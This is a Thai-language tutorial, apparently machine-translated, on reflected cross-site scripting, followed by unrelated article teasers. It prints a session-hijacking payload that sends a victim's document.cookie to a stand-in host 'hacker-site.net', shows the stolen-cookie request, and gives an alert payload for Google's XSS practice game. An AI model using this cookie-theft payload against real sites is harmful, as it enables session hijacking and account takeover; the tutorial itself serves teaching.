Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

การเขียนสคริปต์ข้ามไซต์คืออะไร?

Cross-Site Scripting (XSS) เป็นหนึ่งในเทคนิคการโจมตีที่ได้รับความนิยมมากที่สุดในปัจจุบัน ซึ่งรู้จักกันในชื่อ Godfather of Attack และเป็นเวลาหลายปีที่ได้รับการจัดอันดับให้เป็นเทคนิคการโจมตีที่อันตรายที่สุดสำหรับแอปพลิเคชันบนเว็บ

อย่าเรียกสั้นๆ ว่า CSS เพื่อหลีกเลี่ยงความสับสนกับแนวคิด Cascading Style Sheet ของ HTML
เทคนิค
XSS เกิดจากการแทรกสคริปต์ที่เป็นอันตรายลงในซอร์สโค้ดของแอปพลิเคชันเว็บ เพื่อรันโค้ด Javascript ที่เป็นอันตรายเพื่อเข้าควบคุมเซสชันการเข้าสู่ระบบของผู้ใช้

เพื่อให้เข้าใจดีขึ้น ลองพิจารณาตัวอย่างต่อไปนี้ เว็บแอปพลิเคชันที่อนุญาตให้พิมพ์ค่าที่เราส่งผ่าน URL โดยสมมติว่าเราส่งค่า Ping ให้กับตัวแปรชื่อ:

Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

จนถึงตอนนี้ทุกอย่างเรียบร้อยดี มาตรวจสอบซอร์สโค้ด html กันดีกว่า:

Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

สิ่งที่เห็นได้ง่ายคือค่าชื่อที่เราป้อนถูกแทรกลงในซอร์สโค้ดแล้ว ดังนั้นจึงเป็นไปได้ว่าอะไรก็ตามที่นำเข้ามาก็สามารถแทรกได้เช่นกัน ปัญหาจะร้ายแรงหากค่าที่ป้อนไม่ใช่สตริงปกติเหมือนด้านบน แต่เป็นโค้ดที่อาจเป็นอันตราย บางอย่างเช่นนี้:

 

ลองอีกครั้งด้วยค่าข้างต้น:

Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

จากตัวอย่างนี้ เราสามารถสรุปได้สองสิ่ง ขั้นแรก ตัวแปรชื่อสามารถรับค่าอินพุตใดๆ และส่งไปยังเซิร์ฟเวอร์เพื่อประมวลผลได้ ประการที่สอง เซิร์ฟเวอร์ไม่ได้ควบคุมค่าอินพุตนี้ก่อนที่จะส่งคืนไปยังเบราว์เซอร์ สิ่งนี้นำไปสู่การแทรกโค้ดจาวาสคริปต์ลงในซอร์สโค้ด

โดยทั่วไป XSS จะแบ่งออกเป็น 3 ประเภทหลัก: แบบสะท้อน, แบบจัดเก็บ และแบบ DOM ในบทความนี้ ผมจะพูดถึงเทคนิค Reflected XSS เป็นหลัก

เทคนิค XSS มากถึง 75% เป็นแบบสะท้อน XSS มันถูกเรียกว่าสะท้อนกลับเพราะในสถานการณ์การหาประโยชน์ประเภทนี้ แฮกเกอร์จะต้องส่ง URL ที่มีโค้ดที่เป็นอันตราย (โดยปกติคือจาวาสคริปต์) ให้กับเหยื่อ เหยื่อเพียงต้องการขอ URL นี้เท่านั้น และแฮกเกอร์จะได้รับคำตอบพร้อมผลลัพธ์ที่ต้องการทันที (แสดงภาพสะท้อนไว้ที่นี่) นอกจากนี้ยังเรียกอีกอย่างว่า XSS ลำดับที่หนึ่ง

สถานการณ์การขุดในชีวิตจริง

มีหลายวิธีในการใช้ประโยชน์จากข้อผิดพลาด Reflected XSS หนึ่งในวิธีที่เป็นที่รู้จักมากที่สุดคือการเข้าควบคุมเซสชันของผู้ใช้ ซึ่งจะเป็นการเข้าถึงข้อมูลและได้รับสิทธิ์บนเว็บไซต์

รายละเอียดมีการอธิบายไว้ในขั้นตอนต่อไปนี้:

Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

1. ผู้ใช้เข้าสู่ระบบเว็บและถือว่าเซสชันได้รับมอบหมาย:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. แฮกเกอร์ส่ง URL ให้กับผู้ใช้:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

สมมติว่า example.com เป็นเว็บไซต์ที่เหยื่อเข้าชม ส่วน hacker-site.net เป็นเว็บไซต์ที่แฮ็กเกอร์สร้างขึ้น

3. เหยื่อเข้าถึง URL ข้างต้น

4. เซิร์ฟเวอร์ตอบสนองต่อเหยื่อพร้อมกับข้อมูลที่มีอยู่ในคำขอ (ตัวอย่างจาวาสคริปต์ของแฮ็กเกอร์)

5. เบราว์เซอร์เหยื่อได้รับการตอบกลับและรันจาวาสคริปต์

6. จาวาสคริปต์จริงที่แฮกเกอร์สร้างขึ้นมีดังนี้:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

บรรทัดคำสั่งข้างต้นจะส่งคำขอไปยังไซต์ของแฮ็กเกอร์โดยมีพารามิเตอร์เป็นคุกกี้ของผู้ใช้:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. จากไซต์ของคุณ แฮกเกอร์จะตรวจจับเนื้อหาคำขอข้างต้น และพิจารณาว่าเซสชันของผู้ใช้จะถูกยึดครอง ณ จุดนี้ แฮกเกอร์สามารถปลอมตัวเป็นเหยื่อและใช้สิทธิ์ทั้งหมดบนเว็บไซต์ที่เหยื่อมี

ฝึกฝน

Google ได้สร้างเพจเพื่อฝึกฝนการหาประโยชน์จากข้อผิดพลาด XSS ที่นี่: https://xss-game.appspot.com

เป้าหมายของความท้าทายเหล่านี้คือคุณต้องแทรกสคริปต์เพื่อแสดงป๊อปอัป ความท้าทายประการแรกคือการแสดงให้เห็นเทคนิคที่สะท้อนออกมา โค้ดการหาประโยชน์นั้นค่อนข้างง่าย:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

ขอให้โชคดี!


คำแนะนำจาก AZ เกี่ยวกับวิธีติดตั้ง Windows 10 บิวด์ 14393.222

คำแนะนำจาก AZ เกี่ยวกับวิธีติดตั้ง Windows 10 บิวด์ 14393.222

ล่าสุด Microsoft เปิดตัวการอัปเดตสะสมล่าสุดสำหรับผู้ใช้พีซี Windows 10 ที่เรียกว่า Build 14393.222 การอัปเดตนี้เผยแพร่สำหรับ Windows 10 โดยส่วนใหญ่จะแก้ไขจุดบกพร่องตามคำติชมของผู้ใช้ และปรับปรุงประสบการณ์ด้านประสิทธิภาพของระบบปฏิบัติการ

ปกป้องเครือข่ายคอมพิวเตอร์ของคุณด้วยโฮสต์ Bastion ในเวลาเพียง 3 ขั้นตอน

ปกป้องเครือข่ายคอมพิวเตอร์ของคุณด้วยโฮสต์ Bastion ในเวลาเพียง 3 ขั้นตอน

คุณมีคอมพิวเตอร์บนเครือข่ายท้องถิ่นที่ต้องการการเข้าถึงจากภายนอกหรือไม่? การใช้โฮสต์ป้อมปราการเป็นผู้ดูแลเครือข่ายของคุณอาจเป็นทางออกที่ดี

วิธีสร้างคีย์ Windows หากไม่มีแป้นพิมพ์ของคุณ

วิธีสร้างคีย์ Windows หากไม่มีแป้นพิมพ์ของคุณ

หากคุณต้องการใช้แป้นพิมพ์คลาสสิกรุ่นเก่า เช่น IBM Model M ที่ไม่มีคีย์ Windows มาให้ มีวิธีง่ายๆ ในการเพิ่มคีย์เพิ่มเติมโดยการยืมคีย์ที่คุณไม่ได้ใช้บ่อย

3 วิธีในการล้างบันทึกเหตุการณ์ทั้งหมดใน Windows 10 อย่างรวดเร็ว

3 วิธีในการล้างบันทึกเหตุการณ์ทั้งหมดใน Windows 10 อย่างรวดเร็ว

บางครั้งคุณอาจต้องลบบันทึกเหตุการณ์เก่าทั้งหมดพร้อมกัน ในคู่มือนี้ Quantrimang.com จะแสดง 3 วิธีในการลบบันทึกเหตุการณ์ทั้งหมดใน Windows 10 Event Viewer อย่างรวดเร็ว

วิธี IP ปลอมช่วยให้คุณเข้าถึงโดยไม่ระบุชื่อ

วิธี IP ปลอมช่วยให้คุณเข้าถึงโดยไม่ระบุชื่อ

ในบทความก่อนหน้านี้หลายบทความ เราได้กล่าวไว้ว่าการไม่เปิดเผยตัวตนทางออนไลน์เป็นสิ่งสำคัญอย่างยิ่ง ข้อมูลส่วนตัวรั่วไหลทุกปี ทำให้การรักษาความปลอดภัยออนไลน์มีความจำเป็นมากขึ้น นั่นคือเหตุผลที่เราควรใช้ที่อยู่ IP เสมือน ด้านล่างนี้เราจะเรียนรู้เกี่ยวกับวิธีการสร้าง IP ปลอม!

วิธีสร้างโหมดพื้นหลังโปร่งใสบน Windows 10

วิธีสร้างโหมดพื้นหลังโปร่งใสบน Windows 10

WindowTop เป็นเครื่องมือที่มีความสามารถในการหรี่หน้าต่างแอปพลิเคชันและโปรแกรมทั้งหมดที่ทำงานบนคอมพิวเตอร์ Windows 10 หรือคุณสามารถใช้อินเทอร์เฟซพื้นหลังสีเข้มบน windows ได้

วิธีปิดแถบภาษาบนทาสก์บาร์ของ Windows 8

วิธีปิดแถบภาษาบนทาสก์บาร์ของ Windows 8

แถบภาษาบน Windows 8 เป็นแถบเครื่องมือภาษาขนาดเล็กที่ออกแบบมาเพื่อแสดงบนหน้าจอเดสก์ท็อปโดยอัตโนมัติ อย่างไรก็ตาม หลายๆ คนต้องการซ่อนแถบภาษานี้บนทาสก์บาร์

วิธีการตั้งค่า WEP, WPA, WPA2 สำหรับเราเตอร์ Linksys

วิธีการตั้งค่า WEP, WPA, WPA2 สำหรับเราเตอร์ Linksys

การเชื่อมต่อไร้สายถือเป็นสิ่งจำเป็นในปัจจุบัน และด้วยเหตุนี้ การรักษาความปลอดภัยแบบไร้สายจึงถือเป็นสิ่งสำคัญในการรับรองความปลอดภัยในเครือข่ายภายในของคุณ

เคล็ดลับในการปรับความเร็วการเชื่อมต่ออินเทอร์เน็ตจาก Linksys ให้เหมาะสม

เคล็ดลับในการปรับความเร็วการเชื่อมต่ออินเทอร์เน็ตจาก Linksys ให้เหมาะสม

การเพิ่มความเร็วอินเทอร์เน็ตให้สูงสุดถือเป็นสิ่งสำคัญในการเพิ่มประสิทธิภาพการเชื่อมต่อเครือข่ายของคุณ คุณสามารถมีความบันเทิงและประสบการณ์การทำงานที่ดีที่สุดโดยใช้คอมพิวเตอร์ ทีวีที่เชื่อมต่ออินเทอร์เน็ต เครื่องเล่นเกม ฯลฯ

เคล็ดลับในการแสดงการแจ้งเตือนบนหน้าจอเข้าสู่ระบบ Windows 10

เคล็ดลับในการแสดงการแจ้งเตือนบนหน้าจอเข้าสู่ระบบ Windows 10

หากคุณกำลังแชร์คอมพิวเตอร์กับเพื่อนหรือสมาชิกในครอบครัว หรือจัดการคอมพิวเตอร์หลายเครื่องโดยเฉพาะ คุณอาจเผชิญกับสถานการณ์ที่ไม่พึงประสงค์ซึ่งคุณต้องการเตือนพวกเขาด้วยบันทึกย่อก่อนที่พวกเขาจะเข้าสู่ระบบคอมพิวเตอร์ต่อไป